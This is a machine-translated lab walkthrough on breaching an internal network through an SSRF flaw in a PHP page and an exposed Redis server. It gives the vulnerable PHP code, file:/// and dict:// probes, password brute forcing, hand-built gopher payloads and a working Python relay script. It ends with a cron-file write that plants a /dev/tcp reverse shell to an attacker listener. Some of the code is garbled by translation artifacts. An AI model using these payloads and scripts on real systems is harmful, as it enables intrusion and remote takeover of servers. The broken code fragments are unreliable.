Intranet penetration based on SSRF+Redis

Intranet penetration based on SSRF + Redis

1. WEB server configuration
1. Ugly topology map

2. Add network card


For the second network card, select vmnet1. It doesn’t matter if you customize it later. The purpose is to prevent the host from communicating with network card 2.

3. Set to fixed IP
#Query the current network card
[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255
        inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet)
        RX packets 420 bytes 37770 (36.8 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 298 bytes 32658 (31.8 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.25.132 netmask 255.255.255.0 broadcast 192.168.25.255
        inet6 fe80::f465:ce4f:dc20:e57a prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet)
        RX packets 1 bytes 342 (342.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 16 bytes 1544 (1.5 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)
        RX packets 0 bytes 0 (0.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

#Copy the configuration of ens33 to ens35
[root@CentOS-2 ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens35

#Modify the configuration file of the ens35 network card
[root@CentOS-2 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens35

TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens35"
UUID="ba3657b9-7928-40ea-ac30-f4d6a031fc8i"
#Default network card
DEVICE="ens33"
ONBOOT="yes"
IPV6_PRIVACY="no"
IPADDR=10.0.0.1
NETMASK=255.255.255.0
GATEWAY=10.0.0.254

#Restart all network cards
[root@CentOS-2 ~]# systemctl restart network

[root@CentOS-2 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.88.132 netmask 255.255.255.0 broadcast 192.168.88.255
        inet6 fe80::91cf:5331:e98c:d6d2 prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:2f:8d:05 txqueuelen 1000 (Ethernet)
        RX packets 1447 bytes 120592 (117.7 KiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 920 bytes 105514 (103.0 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens35: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255
        inet6 fe80::20c:29ff:fe2f:8d0f prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:2f:8d:0f txqueuelen 1000 (Ethernet)
        RX packets 1 bytes 342 (342.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 36 bytes 2960 (2.8 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)
        RX packets 4 bytes 416 (416.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 4 bytes 416 (416.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
4. Install and enable lampp service
[root@CentOS-2 ~]# /opt/lampp/lampp start
Starting XAMPP for Linux 5.6.40-1...
XAMPP: Starting Apache...ok.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.

I won’t demonstrate how to install the xampp service here.

5. Check configuration

Whether it is possible to access the http service

Check whether it can communicate with this machine

2. Redis server configuration
1. Modify the network card

2. Modify IP address
#Modify to backup file
[root@localhost ~]# mv /etc/sysconfig/network-scripts/ifcfg-ens33 /etc/sysconfig/network-scripts/ifcfg-ens33.bak
#copy
[root@localhost ~]# cp /etc/sysconfig/network-scripts/ifcfg-ens33.bak /etc/sysconfig/network-scripts/ifcfg-ens33
#Modify configuration file
[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33
#Restart network card
[root@localhost ~]# systemctl restart network

Save the previous configuration, then copy it and modify the IP address and gateway.

3. Redis.conf configuration modification
#Modify access address
[root@localhost redis-5.0.4]# cat redis.conf |grep "bind 0.0.0.0"
bind 0.0.0.0
#Turn off safe mode
[root@localhost redis-5.0.4]# cat redis.conf |grep "protected-mode"
protected-mode no
#password
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "^requirepass "
requirepass sword
#Use the configuration file to start redis background startup
[root@localhost redis-5.0.4]# redis-server /root/redis-5.0.4/reids.conf & amp;

4. Check configuration

Check whether the intranet redis server is communicating

[root@CentOS-2 ~]# ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.263 ms
64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.258 ms
^C
--- 10.0.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 0.258/0.260/0.263/0.016 ms

Check whether communicating with redis

[root@CentOS-2 ~]# telnet 10.0.0.2 6379
Trying 10.0.0.2...
Connected to 10.0.0.2.
Escape character is '^]'.
auth sword
 + OK
quit
 + OK
Connection closed by foreign host.

selinux off

[root@localhost ~]# cat /etc/selinux/config |grep "^SELINUX"
SELINUX=disabled
SELINUXTYPE=targeted
3. SSRF vulnerability recurrence
1.SSRF.php
<?php
    #Create a curl method
    function curl($url){<!-- -->
        #instantiation
        $ch = curl_init();
        #Setting parameters
        curl_setopt($ch, CURLOPT_URL, $url);
        #Set whether to return the response header. Here, 0 means no return, otherwise it will be the opposite.
        curl_setopt($ch, CURLOPT_HEADER, 0);
        #send request
        curl_exec($ch);
        #Close connection
        curl_close($ch);
        #If an error is reported, output the error message
        echo curl_error($ch);
    }
    #Receive POST or GET request method url value
    $url = $_REQUEST['url'];
    #Call curl method
    curl($url);
?>

If you cannot access the arp file, please change the PHP version or

<?php
    print_r(file_get_contents($_REQUEST['url']));
?>

After checking, you need to change the php code to the first one above to perform the following operations. Remember

2. Check code vulnerabilities

Visit http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:22/

Check whether port 22 is open

Visit http://192.168.88.132/sundry/ssrf.php?url=dict://127.0.0.1:3306/

Check whether port 3306 (mysql port) is open

Visit: http://192.168.88.132/sundry/ssrf.php?url=file:///etc/passwd

View the file /etc/passwd

4. Vulnerability Exploitation
1. Intranet IP address scanning

Start scanning from segment A network or check the routing table

http://192.168.88.132/sundry/ssrf.php?url=file:///proc/net/arp

Scan from 1-254

2 hosts found

2. Port scanning

Add variables

Add commonly used ports

Found the redis service exists

3. Redis password blasting

Change parameters

Import the dictionary and start blasting

Explosion successful

5. Redis protocol analysis
1. Packet capture analysis

//Socket explanation

*2 is a parameter
$4 auth length
$5 sword length
*1 one parameter
$4 info length

#Both front and back are fixed
The front is the connection
Followed by qiut exit

For more detailed communication specifications, please refer to: https://www.cnblogs.com/oxspirt/p/12764683.html

2. Gopher pseudo-protocol

Gopher is a distributed document delivery service. It allows users to explore, search and retrieve information residing in different locations in a seamless manner. Gopher can construct various HTTP request packages, so gopher acts as a panacea in exploiting SSRF vulnerabilities.

*2
$4
auth
$5
sword
*1
$4
info
*1
$4
quit

Encode the above command with URL

*2
$4
auth
$5
sword
*1
$4
info
*1
$4
quit

Because the encoding cancels \r by default, we need to add it.

*2$4auth$5sword*1$4info*1$4quit

Because the browser will parse the url and decode it once, we also need to do url transcoding.

*2%0D%0A%244%0D%0Aauth%0D%0A%245%0D%0Asword%0D%0A*1%0D%0A%244%0D%0Ainfo%0D%0A*1%0D% 0A%244%0D%0Aquit

3. Use brup to send packages

6. Interactive implementation in python
1. python code
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@current project:python
@current script: redis interactive.py
@Creator:Sword
@Time:2023/11/7 0:08
@Script description: Reproduce redis + ssrf vulnerability
"""
#regular module
import re
#url transcoding module
from urllib.parse import quote
#Request module
import requests

#The command is decomposed into redis format
def command_data(data):

    #Use regular expressions to decompose data
    data = re.findall(r'"[^"] + "|\S + ',data)
    #Get the length
    num = len(data)
    #How many parameters are obtained?
    command =f'*{<!-- -->num}\r\
'
    #Individual parameters inside the loop
    for i in data:
        #Calculate the length of the string
        param_len = len(i)
        #splicing
        command + = f'${<!-- -->param_len}\r\
{<!-- -->i}\r\
'
    #Return the redis format of the entire command
    return command

def encode_gopher(data):
    #Convert the redis format string to url transcoding
    data = quote(quote(data))
    #Return the value after transcoding
    return data

#getrequest
def ssrf_request(data):
    #urladdress
    burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{<!-- -->data}"
    #Use get request
    html = requests.get(burp0_url).text
    return html

if __name__ == '__main__':
    #passwordtranscoding
    passwd = command_data('auth sword')
    #infinite loop
    while True:
        #Get command
        tcp_command = input("10.0.0.2:6379>")
        #Determine whether to end the script
        if tcp_command == 'exit':
            exit()
        #Decompose command
        command = command_data(tcp_command)
        #URL transcoding after parallel connection
        url_command = encode_gopher(passwd + command + command_data('quit'))
        #Submit get request
        html = ssrf_request(url_command)
        # Count the number of times " + OK" appears
        ok_count = html.count(" + OK")
        #Judgement + OK times
        if ok_count >= 2:
            # Find the last occurrence of " + OK"
            index = html.rfind(" + OK")
            # Keep the last " + OK" and delete all subsequent strings
            cleaned_response = html[:index + 3]
        else:
            cleaned_response = html
        print(cleaned_response)

2. info demonstration

3. Upgrade python code
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@current project:python
@current script: redis interactive.py
@Creator:Sword
@Time:2023/11/7 0:08
@Script description: Reproduce redis + ssrf vulnerability
"""
#regular module
import re
#url transcoding module
from urllib.parse import quote
#Request module
import requests

#The command is decomposed into redis format
def command_data(data):

    #Use regular expressions to decompose data
    data = re.findall(r'"[^"] + "|\S + ',data)
    #Get the length
    num = len(data)
    #How many parameters are obtained?
    command =f'*{<!-- -->num}\r\
'
    #Individual parameters inside the loop
    for i in data:
        #Calculate the length of the string
        param_len = len(i)
        #splicing
        command + = f'${<!-- -->param_len}\r\
{<!-- -->i}\r\
'
    #Return the redis format of the entire command
    return command

def encode_gopher(data):
    #Convert the redis format string to url transcoding
    data = quote(quote(data))
    #Return the value after transcoding
    return data

#getrequest
def ssrf_request(data):
    #urladdress
    burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{<!-- -->data}"
    #Use get request
    html = requests.get(burp0_url).text
    return html

#Check whether the command contains\

def detection(data):
    redis_command = ""
    if r"\
" in data:
        fruits = data.split(r'\
')
        for i in fruits:
            redis_command + =i + "\
"
    return redis_command

def redis_null(tcp_command):
    # Decompose command
    command = command_data(tcp_command)
    # URL transcoding after connection
    url_command = encode_gopher(passwd + command + command_data('quit'))
    # Submit get request
    html = ssrf_request(url_command)
    # Count the number of times " + OK" appears
    ok_count = html.count(" + OK")
    # Judgment + OK times
    if ok_count >= 2:
        # Find the last occurrence of " + OK"
        index = html.rfind(" + OK")
        # Keep the last " + OK" and delete all subsequent strings
        cleaned_response = html[:index + 3]
    else:
        cleaned_response = html
    return cleaned_response

if __name__ == '__main__':
    #passwordtranscoding
    passwd = command_data('auth sword')
    #infinite loop
    while True:
        #Get command
        tcp_command = input("10.0.0.2:6379>")
        #Determine whether to end the script
        if tcp_command == 'exit':
            exit()
        redis = detection(tcp_command)
        if redis == "":
            print(redis_null(tcp_command))
        else:
            print(redis_null(redis))

The reason for modifying the code is because the value returned by input is in pure string format, which will cause \
to be written in string form when I write it to the file.

7. Elevating privileges by writing scheduled tasks
1. Kali turns on monitoring
┌──(root?kali-3)-[/home/sword]
└─# nc -lvvp 4444
listening on [any] 4444 ...
2. Write rebound shell
#Create write file name
10.0.0.2:6379>config set dbfilename root
 + OK
 + OK
 + OK
#Write path
10.0.0.2:6379>config set dir /var/spool/cron
 + OK
 + OK
 + OK
#Write content
10.0.0.2:6379>set test "\
\
*/1 * * * * /bin/bash -i > & amp; /dev/tcp/192.168.88.141/4444 0> & amp;1\
\
 "
 + OK
 + OK
 + OK
#save
10.0.0.2:6379>save
 + OK
 + OK
 + OK

As I write this, I find that when I first set up the environment, I couldn’t connect to the external network. Now I can’t receive the external network when it bounces back, so I can only remove the springboard machine first and do a port mapping. I’ll just post a picture here. It’s the scheduled task content of Linux, right?